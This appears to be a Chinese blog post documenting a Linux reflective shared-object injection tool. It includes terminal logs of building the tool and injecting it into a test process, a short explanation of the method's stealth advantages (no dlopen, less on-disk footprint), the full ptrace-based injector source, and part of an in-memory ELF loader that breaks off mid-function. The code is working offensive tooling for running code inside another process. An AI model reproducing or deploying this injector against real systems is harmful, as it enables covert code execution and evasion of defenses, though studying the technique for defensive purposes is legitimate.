windows win10 x64 1809 linux 用高版本编译,但是运行不了  

root@haidragon:/home/haidragon/Desktop/linux版/inject/src# ls
inject.c  ptrace.c  ptrace.h  test  test.c  utils.c  utils.h
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# rm test
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# ls
inject.c  ptrace.c  ptrace.h  test.c  utils.c  utils.h
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# cp /home/haidragon/Desktop/linux版/so/src/libReflectiveLoader.so  ./
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# ls
inject.c  libReflectiveLoader.so  ptrace.c  ptrace.h  test.c  utils.c  utils.h
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# gcc inject.c utils.c ptrace.c -o inject -ldl
inject.c: In function ‘map_shared_object_into_memory’:
inject.c:57:12: warning: comparison between pointer and integer
  if(mapped == -1)
            ^~
inject.c: In function ‘main’:
inject.c:201:11: warning: assignment to ‘Elf64_Sym *’ {aka ‘struct <anonymous> *’} from ‘long unsigned int’ makes pointer from integer without a cast [-Wint-conversion]
    dynsym = (unsigned long)dynamic[i].d_un.d_val + (unsigned long)so;
           ^
inject.c:223:21: warning: assignment to ‘void *’ from ‘Elf64_Addr’ {aka ‘long unsigned int’} makes pointer from integer without a cast [-Wint-conversion]
    ReflectiveLoader = dynsym[i].st_value;
                     ^
inject.c:289:65: warning: format ‘%p’ expects argument of type ‘void *’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]
  printf("[+] Returned from Stage 0 shell code RIP of target is %p\n", mmap_regs.rip);
                                                                ~^     ~~~~~~~~~~~~~
                                                                %lld
inject.c:290:55: warning: format ‘%p’ expects argument of type ‘void *’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]
  printf("[i] Stage 0 mmap returned memory address of %p.. verifying allocation succeeded..\n", mmap_regs.rax);
                                                      ~^                                        ~~~~~~~~~~~~~
                                                      %lld
inject.c:292:28: warning: passing argument 2 of ‘isRWX’ makes pointer from integer without a cast [-Wint-conversion]
  if(isRWX(target, mmap_regs.rax) == -1)
                   ~~~~~~~~~^~~~
In file included from inject.c:14:
utils.h:11:28: note: expected ‘void *’ but argument is of type ‘long long unsigned int’
 int isRWX(pid_t pid, void *address);
                      ~~~~~~^~~~~~~
inject.c:305:25: warning: initialization of ‘void *’ from ‘long long unsigned int’ makes pointer from integer without a cast [-Wint-conversion]
  void *so_inject_addr = mmap_regs.rax;
                         ^~~~~~~~~
inject.c:314:11: warning: assignment to ‘long long unsigned int’ from ‘void *’ makes integer from pointer without a cast [-Wint-conversion]
  regs.rip = (unsigned long)ReflectiveLoader + so_inject_addr;
           ^
utils.c: In function ‘freespaceaddr’:
utils.c:139:16: warning: use of assignment suppression and length modifier together in gnu_scanf format [-Wformat=]
   sscanf(line, "%lx-%*lx %s %*s %s %*d", &addr, perms, str);
                ^~~~~~~~~~~~~~~~~~~~~~~~
utils.c: In function ‘isRWX’:
utils.c:166:16: warning: use of assignment suppression and length modifier together in gnu_scanf format [-Wformat=]
   sscanf(line, "%lx-%*lx %s %*s %s %*d", &addr, perms, str);
                ^~~~~~~~~~~~~~~~~~~~~~~~
utils.c:168:46: warning: comparison between pointer and integer
   if(strstr(perms, "rwx") != NULL && address == addr)
                                              ^~
utils.c: In function ‘getlibcaddr’:
utils.c:206:16: warning: use of assignment suppression and length modifier together in gnu_scanf format [-Wformat=]
   sscanf(line, "%lx-%*lx %*s %*s %*s %*d", &addr);
                ^~~~~~~~~~~~~~~~~~~~~~~~~~
utils.c: In function ‘checkloaded’:
utils.c:247:16: warning: use of assignment suppression and length modifier together in gnu_scanf format [-Wformat=]
   sscanf(line, "%lx-%*lx %*s %*s %*s %*d", &addr);
                ^~~~~~~~~~~~~~~~~~~~~~~~~~
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# ls
inject    libReflectiveLoader.so  ptrace.h  utils.c
inject.c  ptrace.c                test.c    utils.h
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# gcc test.c -o test
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# ls
inject    libReflectiveLoader.so  ptrace.h  test.c   utils.h
inject.c  ptrace.c                test      utils.c
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# ./test &
[1] 2479
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# main

root@haidragon:/home/haidragon/Desktop/linux版/inject/src# ./inject
usage: ./inject [-n process-name] [-p pid] [library-to-inject]
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# ./inject -p 2479 ./libReflectiveLoader.so 
[i] targeting process with pid 2479
[+] shared object mapped at 0x7f2044a13000
[+] found dynamic segment at 0x7f2044a18e20
[+] dynsym found at address 0x7f2044a132a8
[+] dynstr found at address 0x7f2044a13428
[+] Resolved ReflectiveLoader offset to 0x1125
[i] Setting target registers to appropriate values
[i] Overwriting target memory region with shellcode
[+] Transfering execution to stage 0 shellcode
[+] Returned from Stage 0 shell code RIP of target is 0x5619a6ab606f
[i] Stage 0 mmap returned memory address of 0x7fb211bb8000.. verifying allocation succeeded..
[+] Okay.. mmap allocation was successful!
[+] Writing our shared object into the victim process address space MUAHAHAHA!!!
[+] Setting RIP to ReflectiveLoader function
[+] Calling ReflectiveLoader function! Let's hope this works ;D
root@haidragon:/home/haidragon/Desktop/linux版/inject/src# 

haidragon@haidragon:~/Desktop/linux版/so/src$ ls
libReflectiveLoader.so  ReflectiveLoader.c  ReflectiveLoader.h
haidragon@haidragon:~/Desktop/linux版/so/src$ rm libReflectiveLoader.so 
haidragon@haidragon:~/Desktop/linux版/so/src$ gcc -shared -o libReflectiveLoader.so ReflectiveLoader.c -ldl
ReflectiveLoader.c: In function ‘ReflectiveLoader’:
ReflectiveLoader.c:356:68: warning: assignment to ‘long unsigned int’ from ‘long unsigned int *’ makes integer from pointer without a cast [-Wint-conversion]
     *((unsigned long *)(this.relaplt[i].r_offset + this.baseaddr)) = (unsigned long *)(this.dynsym[index].st_value + this.baseaddr);
                                                                    ^
ReflectiveLoader.c:415:64: warning: assignment to ‘uint64_t’ {aka ‘long unsigned int’} from ‘void *’ makes integer from pointer without a cast [-Wint-conversion]
      *((uint64_t *)(this.reladyn[i].r_offset + this.baseaddr)) = this.dynsym[x].st_value + this.baseaddr;
                                                                ^
ReflectiveLoader.c:424:92: warning: assignment to ‘uint64_t’ {aka ‘long unsigned int’} from ‘void *’ makes integer from pointer without a cast [-Wint-conversion]
 gned long)this.reladyn[i].r_offset + (unsigned long)this.baseaddr)) = this.reladyn[i].r_addend + this.baseaddr;
                                                                     ^

ReflectiveLoader.c: In function ‘get_libc_base_addr’:
ReflectiveLoader.c:522:7: warning: implicit declaration of function ‘crt_open’; did you mean ‘shm_open’? [-Wimplicit-function-declaration]
  fd = crt_open("/proc/self/maps", 0, 0);
       ^~~~~~~~
       shm_open
ReflectiveLoader.c:533:6: warning: implicit declaration of function ‘crt_strcmp’; did you mean ‘crt_strlen’? [-Wimplicit-function-declaration]
   if(crt_strcmp(e.name, &libc) > 0)
      ^~~~~~~~~~
      crt_strlen
ReflectiveLoader.c: In function ‘get_next_maps_entry’:
ReflectiveLoader.c:557:10: warning: comparison between pointer and integer
  if(*pos >= (maps->maps + maps->size))
          ^~
ReflectiveLoader.c:568:18: warning: assignment to ‘void *’ from ‘uint64_t’ {aka ‘long unsigned int’} makes pointer from integer without a cast [-Wint-conversion]
  entry.startaddr = convert_string_to_64bit_pointer(temp);
                  ^
ReflectiveLoader.c:579:16: warning: assignment to ‘void *’ from ‘uint64_t’ {aka ‘long unsigned int’} makes pointer from integer without a cast [-Wint-conversion]
  entry.endaddr = convert_string_to_64bit_pointer(temp);
                ^
ReflectiveLoader.c: In function ‘call_program_constructors’:
ReflectiveLoader.c:660:15: warning: assignment to ‘void (*)()’ from ‘long unsigned int’ makes pointer from integer without a cast [-Wint-conversion]
   constructor = (uint64_t)INIT_ARRAY[i] + (uint64_t)e.baseaddr;
               ^
ReflectiveLoader.c: In function ‘find_section_by_hash’:
ReflectiveLoader.c:706:2: warning: implicit declaration of function ‘exit’ [-Wimplicit-function-declaration]
  exit(-1);
  ^~~~
ReflectiveLoader.c:706:2: warning: incompatible implicit declaration of built-in function ‘exit’
ReflectiveLoader.c:706:2: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
ReflectiveLoader.c:29:1:
+#include <stdlib.h>
 
ReflectiveLoader.c:706:2:
  exit(-1);
  ^~~~
In file included from ReflectiveLoader.c:28:
ReflectiveLoader.c: At top level:
ReflectiveLoader.h:108:52: warning: inline function ‘get_num_dynsym_entries’ declared but never defined
 __attribute__((always_inline)) inline unsigned int get_num_dynsym_entries(ELF_FILE *e);
                                                    ^~~~~~~~~~~~~~~~~~~~~~
haidragon@haidragon:~/Desktop/linux版/so/src$ pwd
/home/haidragon/Desktop/linux版/so/src
haidragon@haidragon:~/Desktop/linux版/so/src$ 

低版本可以运行 但编译器版本太低

root@ubuntu:~/Desktop/linux版/inject# cd src/
root@ubuntu:~/Desktop/linux版/inject/src# ls
inject    libReflectiveLoader.so  ptrace.h  test.c   utils.h
inject.c  ptrace.c                test      utils.c
root@ubuntu:~/Desktop/linux版/inject/src# ./test 
main


^C
root@ubuntu:~/Desktop/linux版/inject/src# ./test &
[1] 2050
root@ubuntu:~/Desktop/linux版/inject/src# main

root@ubuntu:~/Desktop/linux版/inject/src# ./inject
usage: ./inject [-n process-name] [-p pid] [library-to-inject]
root@ubuntu:~/Desktop/linux版/inject/src# ./inject -p 2050 ./libReflectiveLoader.so 
[i] targeting process with pid 2050
[+] shared object mapped at 0x7fbe6ad81000
[+] found dynamic segment at 0x7fbe6ad86e20
[+] dynsym found at address 0x7fbe6ad812a8
[+] dynstr found at address 0x7fbe6ad81428
[+] Resolved ReflectiveLoader offset to 0x1125
[i] Setting target registers to appropriate values
[i] Overwriting target memory region with shellcode
[+] Transfering execution to stage 0 shellcode
[+] Returned from Stage 0 shell code RIP of target is 0x5588a97d006f
[i] Stage 0 mmap returned memory address of 0x7f2a178d9000.. verifying allocation succeeded..
[+] Okay.. mmap allocation was successful!
[+] Writing our shared object into the victim process address space MUAHAHAHA!!!
[+] Setting RIP to ReflectiveLoader function
[+] Calling ReflectiveLoader function! Let's hope this works ;D
somain
root@ubuntu:~/Desktop/linux版/inject/src# pldd 2050
2050:	/root/Desktop/linux版/inject/src/test

^X^C

[1]+  Stopped                 ./test
root@ubuntu:~/Desktop/linux版/inject/src# pmap 2050
2050:   ./test
00005588a97cf000      4K r---- test
00005588a97d0000      4K r-x-- test
00005588a97d1000      4K r---- test
00005588a97d2000      4K r---- test
00005588a97d3000      4K rw--- test
00005588a9a1b000      4K rw---   [ anon ]
00005588a9a1c000     36K rwx--   [ anon ]
00005588a9a25000     92K rw---   [ anon ]
00007f2a172fe000   1768K r-x-- libc-2.19.so
00007f2a174b8000   2048K ----- libc-2.19.so
00007f2a176b8000     16K r---- libc-2.19.so
00007f2a176bc000      8K rw--- libc-2.19.so
00007f2a176be000     20K rw---   [ anon ]
00007f2a176c3000    140K r-x-- ld-2.19.so
00007f2a17801000    812K rw---   [ anon ]
00007f2a178d9000     36K rwx--   [ anon ]
00007f2a178e2000     12K rw---   [ anon ]
00007f2a178e5000      4K r---- ld-2.19.so
00007f2a178e6000      4K rw--- ld-2.19.so
00007f2a178e7000      4K rw---   [ anon ]
00007ffcaa16c000    132K rw---   [ stack ]
00007ffcaa19b000      8K r----   [ anon ]
00007ffcaa19d000      8K r-x--   [ anon ]
ffffffffff600000      4K r-x--   [ anon ]
 total             5176K
root@ubuntu:~/Desktop/linux版/inject/src# ^C
root@ubuntu:~/Desktop/linux版/inject/src# 
root@ubuntu:~/Desktop/linux版/inject/src# uname -ra
Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
root@ubuntu:~/Desktop/linux版/inject/src# 
root@ubuntu:~/Desktop/linux版/inject/src# ls
inject    libReflectiveLoader.so  ptrace.h  test.c   utils.h
inject.c  ptrace.c                test      utils.c
root@ubuntu:~/Desktop/linux版/inject/src# ./libReflectiveLoader.so 
Segmentation fault (core dumped)
root@ubuntu:~/Desktop/linux版/inject/src# sudo ./libReflectiveLoader.so 
root@ubuntu:~/Desktop/linux版/inject/src#

源码:(linux win) https://github.com/haidragon/ReflectiveInjection 原理是: 写一个注入器先把要注入的dll或so文件注入到目标进程。这里还是存在注入(我感觉就是一般注入,只是加了个自己修复利重定位),注入但不通过api(dlopen,LoadLibrary)加载,只是把他映射到内存。必须要做的是动态库中要导出一个函数。用来自行加载。也就是自己修复自己的重定位。这个函数的调用地方在你注入后。然后eip(rip)指向那个函数地址(必须通过解析PE ELF文件找到它)。 优势: 不依赖dlopen或LoadLibrary函数。 减少了文件“落地”。 缺点: 要自己修复重定位。必须导出一个ReflectiveLoader函数。 linux inject.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/user.h>
#include <wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <elf.h>

#include "utils.h"
#include "ptrace.h"

/*
 * Copy a file from disk into a memory buffer. WARNING Does not check size!
 */
__attribute__((always_inline)) inline unsigned int 
copy_in(int fd, void *address)
{
	int cc;
	off_t offset = 0;
	char buf[1024];

	while (0 < (cc = read(fd, buf, sizeof(buf))))
	{
		memcpy((address + offset), buf, cc);
		offset += cc;
	}

	return offset;
}



//将共享对象映射到内存并返回指向它的指针,如果出现错误,则返回null
Elf64_Ehdr* map_shared_object_into_memory(char *path)
{
	struct stat sb;
	unsigned int fd;
	fd = open(path, O_RDONLY);
	if(fd == -1)
	{
		printf("[-] Could not open shared object\n");
		exit(-1);
	}

	if (0 > stat(path, &sb))
	{
		return NULL;
	}

	void *mapped = mmap(NULL, sb.st_size + 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	if(mapped == -1)
	{
		return NULL;
	}

	mapped += (unsigned long)(0x1000 - ((unsigned long)mapped & 0x00000FFF));

	//Copy file on disk into memory map
	copy_in(fd, mapped);
	close(fd);
	
	return (Elf64_Ehdr *)mapped;
}

__attribute__((always_inline)) inline void*
crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset)
{
	void *ret;
	register long r10 asm("r10") = flags;
	register long r9 asm("r9") = offset;
	register long r8 asm("r8") = fd;

	__asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_mmap),
		      "D" (start), "S" (length), "d" (prot), "r" (r8), "r" (r9), "r" (r10) : 
		      "cc", "memory", "rcx", "r11");

	return ret;
}

/*
 * Allocate RWX memory region to copy shared object into (this is stage0 shellcode which is injected into target process)
 */
void* injectSharedLibrary(unsigned int size)
{
	return crt_mmap(NULL, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
}

/*
 * injectSharedLibrary_end()
 *
 * This function's only purpose is to be contiguous to injectSharedLibrary(),
 * so that we can use its address to more precisely figure out how long
 * injectSharedLibrary() is.
 *
 */

void injectSharedLibrary_end()
{
}

int main(int argc, char** argv)
{
	if(argc < 4)
	{
		usage(argv[0]);
		return 1;
	}

	char* command = argv[1];
	char* commandArg = argv[2];
	char* libname = argv[3];
	//realpath是用来将参数path所指的相对路径转换成绝对路径
	char* libPath = realpath(libname, NULL);

	Elf64_Ehdr *so;
	char* processName = NULL;
	pid_t target = 0;

	struct user_regs_struct oldregs, regs;

	if(!libPath)
	{
		fprintf(stderr, "can't find file \"%s\"\n", libname);
		return 1;
	}
    //commandArg为名称的时候
	if(!strcmp(command, "-n"))
	{
		processName = commandArg;
		//通过进程名称找到它的pid
		target = findProcessByName(processName);
		if(target == -1)
		{
			fprintf(stderr, "doesn't look like a process named \"%s\" is running right now\n", processName);
			return 1;
		}

		printf("[i] targeting process \"%s\" with pid %d\n", processName, target);
	}
	 //commandArg为pid的时候
	else if(!strcmp(command, "-p"))
	{
		target = atoi(commandArg);
		printf("[i] targeting process with pid %d\n", target);
	}
	else
	{
		usage(argv[0]);
		return 1;
	}

	//Save registers and ptrace_attach to process
	memset(&oldregs, 0, sizeof(struct user_regs_struct));
	memset(®s, 0, sizeof(struct user_regs_struct));
    //附加
	ptrace_attach(target);
    //获取寄存器
	ptrace_getregs(target, &oldregs);
	memcpy(®s, &oldregs, sizeof(struct user_regs_struct));

	//Load shared object into memory 
	//映射so文件 
	so = map_shared_object_into_memory(libPath);
	printf("[+] shared object mapped at %p\n", so);

	if(so == NULL)
	{
		printf("[-] Failed to load our shared object into memory... exiting..\n");
	}

	//Determine if SO exports a function called ReflectiveLoader if it does not then we should exit
	//确定是否导出一个称为ReflectiveLoader的函数,如果它不存在,那么退出
	Elf64_Phdr *phdr = so->e_phoff + (void *)so;
	Elf64_Dyn *dynamic;
	Elf64_Sym *dynsym;
	char *dynstr;
	void* ReflectiveLoader = 0;
	
	//Find dynamic segment
	for(int i = 0; i < so->e_phnum; i++) 
	{ 	
		if(phdr[i].p_type == PT_DYNAMIC)
		{
			dynamic = phdr[i].p_offset + (void *)so;
			printf("[+] found dynamic segment at %p\n", dynamic);
			break;
		}
	}

	//Find .dynsym table for our SO
	for(int i = 0; dynamic[i].d_tag != DT_NULL; i++)
	{
		if(dynamic[i].d_tag == DT_SYMTAB)
		{
			dynsym = (unsigned long)dynamic[i].d_un.d_val + (unsigned long)so;
			printf("[+] dynsym found at address %p\n", dynsym);
			break;
		}
	}
	
	//find .dynstr table for our SO
	for(int i = 0; dynamic[i].d_tag != DT_NULL; i++)
	{
		if(dynamic[i].d_tag == DT_STRTAB)
		{
			dynstr = (char *)(dynamic[i].d_un.d_val) + (unsigned long)so;
			printf("[+] dynstr found at address %p\n", dynstr);
			break;			
		}
	}

	//Find address of ReflectiveLoader symbol.. either it blows up here or the SO exports ReflectiveLoader function ;)
	for(int i = 0; ;i++) 
	{
		if(strcmp((dynsym[i].st_name + dynstr), "ReflectiveLoader") == 0)
		{
			ReflectiveLoader = dynsym[i].st_value;
			printf("[+] Resolved ReflectiveLoader offset to %p\n", ReflectiveLoader);
			break;		
		}
	}

	//Calculate the size of our injection shellcode
	struct stat sb;
	//就是so文件的大小
	stat(libPath, &sb);
	unsigned int size = sb.st_size;

	//Find some executable memory which we can use to write our shellcode into
	//找到一些可执行的内存,用来编写代码 
	long addr = freespaceaddr(target) + sizeof(long);

	//Setup registers to correct location
	printf("[i] Setting target registers to appropriate values\n");
	regs.rip = addr;
	regs.rdi = size + 0x1000;
	regs.rax = 9;
	regs.rdx = 7;
	regs.r8 = -1;
	regs.r9 = 0;
	regs.r10 = 34;

	ptrace_setregs(target, ®s);

	// figure out the size of injectSharedLibrary() so we know how big of a buffer to allocate. 
	size_t injectSharedLibrary_size = (intptr_t)injectSharedLibrary_end - (intptr_t)injectSharedLibrary;

	// back up whatever data used to be at the address we want to modify.
	//备份要修改的地址所使用的任何数据
	char* backup = malloc(injectSharedLibrary_size * sizeof(char));
	ptrace_read(target, addr, backup, injectSharedLibrary_size);

	// set up a buffer to hold the code we're going to inject into the
	// target process.
	//设置一个缓冲区来保存将要注入目标进程的代码
	char* newcode = malloc(injectSharedLibrary_size * sizeof(char));
	memset(newcode, 0, injectSharedLibrary_size * sizeof(char));

	// copy the code of injectSharedLibrary() to a buffer.
	memcpy(newcode, injectSharedLibrary, injectSharedLibrary_size - 1);

	// find return address of injectSharedLibrary and overwrite it with software breakpoint
	//找到注入共享库的返回地址并用软件断点重写
	intptr_t injectSharedLibrary_ret = (intptr_t)findRet(injectSharedLibrary_end) - (intptr_t)injectSharedLibrary;
	newcode[injectSharedLibrary_ret] = INTEL_INT3_INSTRUCTION;

	// copy injectSharedLibrary()'s code to the target address
	printf("[i] Overwriting target memory region with shellcode\n");
	ptrace_write(target, addr, newcode, injectSharedLibrary_size);

	//let the target run our injected code
	printf("[+] Transfering execution to stage 0 shellcode\n");
	//run
	ptrace_cont(target);

	// at this point, the target should have run mmap
	//此时,目标应该已经运行MMAP
	struct user_regs_struct mmap_regs;
	memset(&mmap_regs, 0, sizeof(struct user_regs_struct));
	ptrace_getregs(target, &mmap_regs);
	unsigned long long targetBuf = mmap_regs.rax;

	printf("[+] Returned from Stage 0 shell code RIP of target is %p\n", mmap_regs.rip);
	printf("[i] Stage 0 mmap returned memory address of %p.. verifying allocation succeeded..\n", mmap_regs.rax);
    //判断是否为读写执行
	if(isRWX(target, mmap_regs.rax) == -1)
	{
		fprintf(stderr, "mmap() failed to allocate memory\n");
		//还原现场断续执行
		restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs);
		free(backup);
		free(newcode);
		return -1;
	}

	printf("[+] Okay.. mmap allocation was successful!\n");

	//Get page aligned address of RWX memory region in target process
	void *so_inject_addr = mmap_regs.rax;
	so_inject_addr += (unsigned long)(0x1000 - ((unsigned long)so_inject_addr & 0x00000FFF));

	printf("[+] Writing our shared object into the victim process address space MUAHAHAHA!!!\n");
	//ptrace_write our SO into this buffer (could use process_vm_writev to speed up transfer of data)
	ptrace_write(target, (unsigned long)so_inject_addr, (void *)so, size);
	
	printf("[+] Setting RIP to ReflectiveLoader function\n");
	//Modify program registers to point to this memory region and call the ReflectiveLoader function
	regs.rip = (unsigned long)ReflectiveLoader + so_inject_addr;
	ptrace_setregs(target, ®s);

	printf("[+] Calling ReflectiveLoader function! Let's hope this works ;D\n");
	ptrace_cont(target);

	//Restore state and detach
	restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs);
	free(backup);
	free(newcode);

}

//ReflectiveLoader.c

//===============================================================================================//
// Copyright (c) 2016, Infosec Guerilla (infosecguerrilla.wordpress.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"

//===============================================================================================//
//	Debug mode used to test loader capabilities													 //
//===============================================================================================//

#ifdef RSOI_DEBUG_MODE
#define debug(M, ...) { \
printf("DEBUG %s:%d: " M "\n", __FILE__, __LINE__, ##__VA_ARGS__); \
}
#else
#define debug(M, ...)
#endif

//===============================================================================================//

#ifdef RSOI_DEBUG_MODE

int main(int argc, char *argv[])
{
	if(argc < 2)
	{
		printf("Usage: %s <file path of SO to test loading>\n", argv[0]);
		return -1;
	}

	ReflectiveLoader(argv[1]);
	return 0;
}
#endif

//===============================================================================================//

/*
 * This is a position independent ELF loader which is capable of being used to allow
 * a program to load itself into memory. 
 *
 * More details on the implementation of this loader can be found at the following address
 * https://infosecguerrilla.wordpress.com/2016/07/21/reflective-so-injection/ 
 *
 */
#ifdef RSOI_DEBUG_MODE
int ReflectiveLoader(char *debugFile)
#else
int ReflectiveLoader()
#endif
{	
	ELF_FILE this; /* ELF file we are going to be loading since we are loading ourselves into memory it is this file */
	ELF_FILE libc; /* C library we are using to find dynamic linker functions */

	/* 
	* Functions we need from libc for ELF loading, we resolve these on 
	* the fly by locating LIBC and finding these functions ourselves 
	*/
	int   (*libc_mprotect)(void *addr, size_t len, int prot);
	void* (*libc_calloc)(size_t, size_t size);
	void* (*libc_dlsym)(void *, char *);
	void* (*libc_dlopen)(char *, int mode);
	int   (*libc_dlclose)(void *);
	void*  (*libdl_dlsym)(void *handle, const char *symbol); /* We used dlsym because it is able to handle IFUNC function type something __libc_dlsym cannot for some reason   */
												     /* See this post for more information - https://infosecguerrilla.wordpress.com/2016/07/28/glibc-strange-behavior/ */
	unsigned int index;
	char libdl_s[11];
		 libdl_s[0] = 'l';
		 libdl_s[1] = 'i';
		 libdl_s[2] = 'b';
		 libdl_s[3] = 'd';
		 libdl_s[4] = 'l';
		 libdl_s[5] = '.';
		 libdl_s[6] = 's';
	     libdl_s[7] = 'o';
		 libdl_s[8] = '.';
		 libdl_s[9] = '2';
		 libdl_s[10] = '\0';

	char dlsym_s[6];
		 dlsym_s[0] = 'd';
		 dlsym_s[1] = 'l';
		 dlsym_s[2] = 's';
		 dlsym_s[3] = 'y';
		 dlsym_s[4] = 'm';
		 dlsym_s[5] = '\0';

	//Locate libc in memory
	libc.baseaddr = get_libc_base_addr();
	libc.header = (Elf64_Ehdr *)libc.baseaddr;
	libc.segments = libc.header->e_phoff + libc.baseaddr;
	debug("[+] LIBC base address found at %p", libc.baseaddr);

	//Locate ELF header for this file
	this.header = find_elf_header();
	debug("[+] Found my ELF header at %p", this.header);

#ifdef RSOI_DEBUG_MODE /* Debug mode testing loader capabilities while being able to print debug info */
	this.header = load_file_debug_mode(debugFile);
	debug("[+] Debug header located at %p", this.header);
#endif

	this.segments = this.header->e_phoff + (void *)this.header; /* Program Segments */
	this.sections = this.header->e_shoff + (void *)this.header; /* Program Sections */

	//Find dynamiic program segment for libc
	debug("[i] Looking for dynamic program segment for libc in program headers");
	for(int i = 0; i < libc.header->e_phnum; i++)
	{
		if(libc.segments[i].p_type == PT_DYNAMIC)
		{
			libc.dynamic = libc.segments[i].p_vaddr + libc.baseaddr;
			debug("[+] LIBC PT_DYNAMIC segment at address %p", libc.dynamic);
		}

	}

	//Find .dynsym table for libc
	debug("[i] Looking for dynsym program segment for libc in dynamic segment");
	for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++)
	{
		if(libc.dynamic[i].d_tag == DT_SYMTAB)
		{
			libc.dynsym = (Elf64_Sym *)libc.dynamic[i].d_un.d_val;
			debug("[+] LIBC dynsym found at address %p", libc.dynsym);
			break;
		}
	}
	
	//find .dynstr table for libc
	for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++)
	{
		if(libc.dynamic[i].d_tag == DT_STRTAB)
		{
			libc.dynstr = (char *)(libc.dynamic[i].d_un.d_val);
			debug("[+] LIBC dynstr found at address %p", libc.dynstr);
			break;			
		}
	}

	//find .gnu.hash section 
	for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++)
	{
		if(libc.dynamic[i].d_tag == DT_GNU_HASH)
		{
			libc.gnu_hash = (char *)(libc.dynamic[i].d_un.d_val);
			debug("[+] LIBC gnu_hash found at address %p", libc.gnu_hash);
			break;			
		}
	}

	if(libc.gnu_hash == NULL)
	{
		debug("[-] Could not find GNU_HASH entry in dynamic segment");
		return -1;	
	}


	debug("[i] Resolving addresses of runtime dependencies");

	//Resolve functions needed to run
	unsigned int count = 0;
	for(int i = 0; ;i++) /* You can also calculate the number of dynsym entries by looking in HASH or GNU_HASH tables */
	{
		if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLOPEN_HASH)
		{
			libc_dlopen = libc.dynsym[i].st_value + libc.baseaddr;
			debug("[+] Found dlopen at %p", libc_dlopen);
			count++;
		}
		if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLCLOSE_HASH)
		{		
			libc_dlclose = libc.dynsym[i].st_value + libc.baseaddr;
			debug("[+] Found dlclose at %p", libc_dlclose);
			count++;
		}	
		if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLSYM_HASH)
		{		
			libc_dlsym = libc.dynsym[i].st_value + libc.baseaddr;
			debug("[+] Found dlsym at %p", libc_dlsym);
			count++;
		}		
		if(hash(libc.dynsym[i].st_name + libc.dynstr) == CALLOC_HASH)
		{		
			libc_calloc = libc.dynsym[i].st_value + libc.baseaddr;
			debug("[+] Found calloc at %p", libc_calloc);
			count++;
		}		
		if(hash(libc.dynsym[i].st_name + libc.dynstr) == MPROTECT_HASH)
		{	
			libc_mprotect = libc.dynsym[i].st_value + libc.baseaddr;
			debug("[+] Found mprotect at %p", libc_mprotect);
			count++;
		}	
		if(count == 5)
		{
			break;
		}
	}

	/* Find dlsym using __libc_dlsym - https://infosecguerrilla.wordpress.com/2016/07/28/glibc-strange-behavior/ */

	void *libdlhandle = (*libc_dlopen)(libdl_s, RTLD_LAZY);
	debug("[+] Opened libdl with handle libdlhandle=%p", libdlhandle);
	libdl_dlsym = (*libc_dlsym)(libdlhandle, dlsym_s);
	debug("[+] Found libdl_dlsym at %p", libdl_dlsym);

	debug("[i] Finished resolving addresses of runtime dependencies");
	debug("[i] Allocating RWX memory to load shared object into and calculating program size");

	//Calculate program base address aligned to page size (0x1000 bytes)
	unsigned int size;
	size = get_program_memory_size(this.header);
	
	debug("[i] Program size is %u", size);
	//Allocate this memory
